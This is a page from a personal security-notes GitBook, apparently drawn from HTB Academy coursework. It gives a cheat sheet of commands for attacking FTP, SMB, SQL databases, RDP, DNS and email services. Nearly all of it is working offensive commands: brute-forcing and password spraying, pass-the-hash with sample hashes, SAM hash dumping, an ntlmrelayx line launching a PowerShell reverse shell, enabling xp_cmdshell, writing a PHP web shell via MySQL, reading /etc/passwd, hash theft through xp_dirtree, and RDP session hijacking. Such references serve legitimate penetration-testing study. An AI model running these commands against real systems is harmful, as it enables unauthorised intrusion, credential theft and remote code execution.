🕶️
VICEINTELPRO
GitHub: HorrorClause
  • In Tenebris Videmus
  • 🚩CTFs
    • 💾Hack the Box
      • 🏫Academy
        • Command Injection Assessment
        • XSS Assessment
        • Web Attacks Assessment
    • Try Hack Me
      • In Progress
  • 📖Documents
  • 👨‍🏫HOW-TOs
    • Obisidian How-To
    • Setup Mandiant FLARE VM
  • 📑Security Fundamentals
    • Security Controls
      • Physical Security
      • Endpoint Security
      • Email Security
      • Network Security
      • AAA Controls
    • Networking 101
      • OSI Model
      • Network Fundamentals
      • Network Devices
      • Network Tools
      • Protocols and Ports
    • 👨‍💼Management Principles
      • Risk
      • Policies and Procedures
      • Compliance and Frameworks
      • Change and Patch Management
  • 🛡️Security Concepts
    • ⚠️Risk Assessment Models
      • DREAD Risk Assessment Model
      • STRIDE Threat Model
      • Common Vulnerability Scoring System (CVSS)
    • Pentesting
      • Common Terms
      • AV Identification-Evasion
      • Introduction to Payloads
      • Automating Payloads & Delivery with Metasploit
      • Shells Jack Us In, Payloads Deliver Us Shells
      • Web Shells
      • Pentesting Overview
      • Penetration Testing Process
    • 🐛Vulnerability Assessment
      • Common Vulnerabilities and Exposures (CVE)
      • Common Vulnerability Scoring System (CVSS)
      • Assessment Standards
      • Vulnerability Assessment
      • Vulnerability Scanning
      • Reporting
      • 🎯Nessus
        • Getting Started with Nessus
        • Nessus Scan
        • Working with Nessus Scan Output
        • Advanced Settings
        • Scanning Issues
      • 🦴OpenVAS (Greenbone)
        • Getting Started with OpenVAS
        • OpenVAS
        • Exporting Results
    • Passwords
      • Password Managers
      • Password Policies
      • Password Security Fundamentals
    • Frameworks
    • GRC
    • Logon Types
    • What is Dev-Null ?
  • ⚔️Offensive Security
    • OSINT
      • OSINT - Websites
      • Google Dorks
    • 🔫Attacking Common Services
      • The Concept of Attacks
      • Interacting with Common Services
      • Finding Sensitive Information
      • Attacking DNS
      • Attacking Email Services
      • Attacking FTP
      • Attacking RDP
      • Attacking SMB
      • Attacking SQL Databases
      • Cheat Sheet - Attacking Common Services
      • Service Misconfigurations
    • 🔪Attacking Web Apps with Ffuf
      • Web Fuzzing
      • Directory Fuzzing
      • Page Fuzzing
      • Recursive Fuzzing
      • DNS Records
      • Sub-domain Fuzzing
      • Vhost Fuzzing
      • Filtering Results
      • Parameter Fuzzing - GET
      • Parameter Fuzzing - POST
      • Value Fuzzing
    • ☁️Cloud
      • AWS
        • AWS S3 Buckets
    • 💉Command Injection
      • Command Injection Cheat Sheet
      • Intro to Command Injections
      • Detection
      • Injecting Commands
      • Other Injection Operators
      • Identifying Filters
      • Bypassing Space Filters
      • Bypassing Other Blacklisted Characters
      • Bypassing Blacklisted Commands
      • Advanced Command Obfuscation
      • Evasion Tools
      • Command Injection Prevention
    • Containers
      • Docker
    • ❌Cross-Site Scripting (XSS)
      • Introduction to XSS
      • Stored XSS
      • Reflected XSS
      • DOM XSS
      • XSS Discovery
      • Defacing
      • Phishing
      • Session Hijacking
      • XSS Prevention
    • Directory Busting
      • DirB
      • DirBuster
      • Ffuf
      • Gobuster
    • 🅰️DNS
      • DNSRecon
      • Fierce
    • File Inclusion
      • Local File Inclusion Cheatsheet
      • Intro to File Inclusion
      • Local File Inclusion (LFI)
      • Basic Bypass
      • PHP Filters
      • PHP Wrappers
      • Remote File Inclusion (RFI)
      • LFI and File Uploads
      • Log Poisoning
      • Automated Scanning
      • File Inclusion Prevention
    • File Transfers
      • Transferring Files
      • File Transfer - Quick Commands
      • Living off the Land
      • Windows File Transfer Methods
      • Linux File Transfer Methods
      • Catching Files over HTTP(S)
      • Transferring Files with Code
      • Miscellaneous File Transfer Methods
      • Protected File Transfers
      • Mounting Encrypted VHD Drives
      • Mounting VHD in Kali
      • File Transfer Detection
    • File Upload Attacks
      • File Upload Cheatsheet
      • Absent Validation
      • Upload Exploitation
      • Client-Side Validation
      • Blacklist Filters
      • Whitelist Filters
      • Type Filters
      • Limited File Uploads
      • Other Upload Attacks
      • Preventing File Upload Vulnerabilities
    • 👣Footprinting
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
      • Enumeration
        • Enumeration Methodology
        • 🖥️Host Based
          • Quick Commands
          • DNS
          • FTP
          • IMAP-POP3
          • IPMI
          • MSSQL
          • MySQL
          • NFS
          • Oracle TNS
          • SMB
  • Powershell
    • Powershell CheatSheet
  • Python
    • Map
    • Anonymous Functions
    • Recursion
      • ZipMap
      • Nested Sum
      • Recursion on a Tree
      • Count Nested Levels
      • Longest Word
    • Function Transformations
      • More Transformations
      • Why Transform?
    • Closures
    • Currying
    • Decorators
    • Sum Types
    • Enums
    • Match
    • Regex
  • Kusto (KQL)
    • SQL and KQL Comparison
    • Using the Where and Sort Operators
    • KQL Queries
  • HTML
  • Insecure File Uploads
Powered by GitBook
On this page
  • Attacking FTP
  • Attacking SMB
  • Attacking SQL Databases
  • Attacking RDP
  • Attacking DNS
  • Attacking Email Services
  1. Offensive Security
  2. Attacking Common Services

Cheat Sheet - Attacking Common Services

Attacking FTP

Command
Description

ftp 192.168.2.142

Connecting to the FTP server using the ftp client.

nc -v 192.168.2.142 21

Connecting to the FTP server using netcat.

hydra -l user1 -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142

Brute-forcing the FTP service.

Attacking SMB

Command
Description

smbclient -N -L //10.129.14.128

Null-session testing against the SMB service.

smbmap -H 10.129.14.128

Network share enumeration using smbmap.

smbmap -H 10.129.14.128 -r notes

Recursive network share enumeration using smbmap.

smbmap -H 10.129.14.128 --download "notes\note.txt"

Download a specific file from the shared folder.

smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"

Upload a specific file to the shared folder.

rpcclient -U'%' 10.10.110.17

Null-session with the rpcclient.

./enum4linux-ng.py 10.10.11.45 -A -C

Automated enumeratition of the SMB service using enum4linux-ng.

crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!'

Password spraying against different users from a list.

impacket-psexec administrator:'Password123!'@10.10.110.17

Connect to the SMB service using the impacket-psexec.

crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec

Execute a command over the SMB service using crackmapexec.

crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users

Enumerating Logged-on users.

crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam

Extract hashes from the SAM database.

crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

Use the Pass-The-Hash technique to authenticate on the target host.

impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146

Dump the SAM database using impacket-ntlmrelayx.

impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e <base64 reverse shell>

Execute a PowerShell based reverse shell using impacket-ntlmrelayx.

Attacking SQL Databases

Command
Description

mysql -u julio -pPassword123 -h 10.129.20.13

Connecting to the MySQL server.

sqlcmd -S SRVMSSQL\SQLEXPRESS -U julio -P 'MyPassword!' -y 30 -Y 30

Connecting to the MSSQL server.

sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h

Connecting to the MSSQL server from Linux.

sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h

Connecting to the MSSQL server from Linux while Windows Authentication mechanism is used by the MSSQL server.

mysql> SHOW DATABASES;

Show all available databases in MySQL.

mysql> USE htbusers;

Select a specific database in MySQL.

mysql> SHOW TABLES;

Show all available tables in the selected database in MySQL.

mysql> SELECT * FROM users;

Select all available entries from the "users" table in MySQL.

sqlcmd> SELECT name FROM master.dbo.sysdatabases

Show all available databases in MSSQL.

sqlcmd> USE htbusers

Select a specific database in MSSQL.

sqlcmd> SELECT * FROM htbusers.INFORMATION_SCHEMA.TABLES

Show all available tables in the selected database in MSSQL.

sqlcmd> SELECT * FROM users

Select all available entries from the "users" table in MSSQL.

sqlcmd> EXECUTE sp_configure 'show advanced options', 1

To allow advanced options to be changed.

sqlcmd> EXECUTE sp_configure 'xp_cmdshell', 1

To enable the xp_cmdshell.

sqlcmd> RECONFIGURE

To be used after each sp_configure command to apply the changes.

sqlcmd> xp_cmdshell 'whoami'

Execute a system command from MSSQL server.

mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'

Create a file using MySQL.

mysql> show variables like "secure_file_priv";

Check if the the secure file privileges are empty to read locally stored files on the system.

sqlcmd> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

Read local files in MSSQL.

mysql> select LOAD_FILE("/etc/passwd");

Read local files in MySQL.

sqlcmd> EXEC master..xp_dirtree '\\10.10.110.17\share\'

Hash stealing using the xp_dirtree command in MSSQL.

sqlcmd> EXEC master..xp_subdirs '\\10.10.110.17\share\'

Hash stealing using the xp_subdirs command in MSSQL.

sqlcmd> SELECT srvname, isremote FROM sysservers

Identify linked servers in MSSQL.

sqlcmd> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]

Identify the user and its privileges used for the remote connection in MSSQL.

Attacking RDP

Command
Description

crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'

Password spraying against the RDP service.

hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp

Brute-forcing the RDP service.

rdesktop -u admin -p password123 192.168.2.143

Connect to the RDP service using rdesktop in Linux.

tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}

Impersonate a user without its password.

net start sessionhijack

Execute the RDP session hijack.

reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

Enable "Restricted Admin Mode" on the target Windows host.

xfreerdp /v:192.168.2.141 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA

Use the Pass-The-Hash technique to login on the target host without a password.

Attacking DNS

Command
Description

dig AXFR @ns1.inlanefreight.htb inlanefreight.htb

Perform an AXFR zone transfer attempt against a specific name server.

subfinder -d inlanefreight.com -v

Brute-forcing subdomains.

host support.inlanefreight.com

DNS lookup for the specified subdomain.

Attacking Email Services

Command
Description

host -t MX microsoft.com

DNS lookup for mail servers for the specified domain.

dig mx inlanefreight.com \| grep "MX" \| grep -v ";"

DNS lookup for mail servers for the specified domain.

host -t A mail1.inlanefreight.htb.

DNS lookup of the IPv4 address for the specified subdomain.

telnet 10.10.110.20 25

Connect to the SMTP server.

smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7

SMTP user enumeration using the RCPT command against the specified host.

python3 o365spray.py --validate --domain msplaintext.xyz

Verify the usage of Office365 for the specified domain.

python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz

Enumerate existing users using Office365 on the specified domain.

python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz

Password spraying against a list of users that use Office365 for the specified domain.

hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3

Brute-forcing the POP3 service.

swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Notification' --body 'Message' --server 10.10.11.213

Testing the SMTP service for the open-relay vulnerability.

PreviousAttacking SQL DatabasesNextService Misconfigurations

Last updated 3 months ago

⚔️
🔫